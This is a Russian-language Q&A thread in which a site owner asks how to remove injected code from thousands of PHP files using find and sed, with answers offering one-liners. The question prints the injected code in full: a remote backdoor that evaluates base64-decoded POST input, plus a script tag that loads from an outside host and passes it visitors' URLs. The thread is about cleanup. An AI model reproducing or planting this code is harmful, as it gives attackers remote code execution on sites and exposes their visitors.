Найти и заменить - PullRequest
       22

Найти и заменить

1 голос
/ 07 ноября 2011

Я должен решить внедрение кода на моем сайте, затронуты тысячи файлов.Следующий код был вставлен во все мои PHP-файлы

global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }

Как найти эту строку во всей файловой структуре, заменить ее пустой строкой и сохранить резервную копию этих файлов?У меня есть доступ по SSH

ОБНОВЛЕНИЕ

Я продолжаю получать -bash: syntax error near unexpected token <'`при использовании </p>

find ./ -type f -name "*.php" | xargs sed -i.bckp 's/global \$sessdt_o; if\(\!\$sessdt_o\) { \$sessdt_o = 1; \$sessdt_k = \"lb11\"; if\(\!@\$_COOKIE\[\$sessdt_k\]\) { \$sessdt_f = \"102\"; if\(\!@headers_sent\(\)\) { @setcookie\(\$sessdt_k,\$sessdt_f\); \} else { echo \"<script>document.cookie=\'\".\$sessdt_k.\"=\".\$sessdt_f.\"\';<\/script>\"; \} \} else { if\(\$_COOKIE\[\$sessdt_k\]==\"102\"\) { \$sessdt_f = \(rand\(1000,9000\)+1\); if\(\!@headers_sent\(\)\) { @setcookie\(\$sessdt_k,\$sessdt_f\); \} else { echo \"<script>document.cookie=\'\".\$sessdt_k.\"=\".\$sessdt_f.\"\';<\/script>\"; \} \$sessdt_j = @\$_SERVER\[\"HTTP_HOST\"\].@\$_SERVER\[\"REQUEST_URI\"\]; \$sessdt_v = urlencode\(strrev\(\$sessdt_j\)\); \$sessdt_u = \"http:\/\/turnitupnow.net\/?rnd=\".\$sessdt_f.substr\(\$sessdt_v,-200\); echo \"<script src=\'\$sessdt_u\'><\/script>\"; echo \"<meta http-equiv=\'refresh\' content=\'0;url=http:\/\/\$sessdt_j\'><\!--\"; \} \} \$sessdt_p = \"showimg\"; if\(isset\(\$_POST\[\$sessdt_p\]\)\){eval\(base64_decode\(str_replace\(chr\(32\),chr\(43\),\$_POST\[\$sessdt_p\]\)\)\);exit;\} \}//g'

, как предложено @ flesk

Я что-то избегаю?

спасибо

Ответы [ 3 ]

0 голосов
/ 05 декабря 2011

большое спасибо за ваши ответы. Я тоже решал эту проблему, и, хотя, как уже упоминалось, ее нужно упростить, это изменение отлично справилось со своей задачей: одна строка:

 find /home/weby/zkouska -type f -name "*.php" | xargs sed -i.bckp 's/global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11";.*$//g'

надеюсь, что это поможет кому-нибудь еще решить эту неприятную проблему

wahyaohni

0 голосов
/ 06 января 2012

посмотрите здесь , я использовал сценарий для решения той же проблемы

Просто вставьте в файл шаблона введенный код и запустите сценарий в каталоге с нарушением

0 голосов
/ 07 ноября 2011

Попробуйте что-то вроде

find /www/docs/or/something -type f -name "*.php" | xargs sed -i.bckp 's/global \$sessdt_o; if\(!\$sessdt_o)and so on making sure to escape special regexp characters//g'

Избегайте всех специальных символов и апострофов.Я бы порекомендовал поиграться с выражением sed вручную, пока вы не получите правильное значение для одного php-файла, прежде чем выполнять поиск для всех ваших php-файлов.

...